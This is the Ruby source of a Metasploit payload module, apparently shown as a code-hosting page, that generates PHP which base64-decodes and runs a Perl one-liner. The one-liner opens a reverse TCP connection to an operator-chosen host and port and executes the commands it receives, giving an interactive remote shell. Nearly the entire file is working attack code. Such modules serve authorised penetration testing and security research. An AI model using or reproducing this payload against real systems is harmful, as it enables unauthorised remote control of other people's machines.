bcoles
57 lines
1.7 KiB
Ruby
57 lines
1.7 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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module MetasploitModule
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CachedSize = :dynamic
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include Msf::Payload::Single
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include Msf::Payload::Php
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include Msf::Sessions::CommandShellOptions
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def initialize(info = {})
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super(
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merge_info(
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info,
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'Name' => 'PHP Command, Double Reverse TCP Connection (via Perl)',
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'Description' => 'Creates an interactive shell via perl',
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'Author' => 'cazz',
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'License' => BSD_LICENSE,
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'Platform' => 'php',
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'Arch' => ARCH_PHP,
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'Handler' => Msf::Handler::ReverseTcp,
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'Session' => Msf::Sessions::CommandShell,
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'PayloadType' => 'cmd',
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'Payload' => {
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'Offsets' => {},
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'Payload' => ''
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}
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)
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)
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end
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#
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# Constructs the payload
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#
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def generate(_opts = {})
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vars = Rex::RandomIdentifier::Generator.new
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dis = "$#{vars[:dis]}"
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shell = <<-END_OF_PHP_CODE
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#{php_preamble(disabled_varname: dis)}
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$c = base64_decode("#{Rex::Text.encode_base64(command_string)}");
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#{php_system_block(cmd_varname: '$c', disabled_varname: dis)}
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END_OF_PHP_CODE
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return super + shell
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end
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#
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# Returns the command string to use for execution
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#
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def command_string
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ver = Rex::Socket.is_ipv6?(datastore['LHOST']) ? '6' : ''
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lhost = Rex::Socket.is_ipv6?(datastore['LHOST']) ? "[#{datastore['LHOST']}]" : datastore['LHOST']
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"perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET#{ver}(PeerAddr,\"#{lhost}:#{datastore['LPORT']}\");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'"
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end
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end
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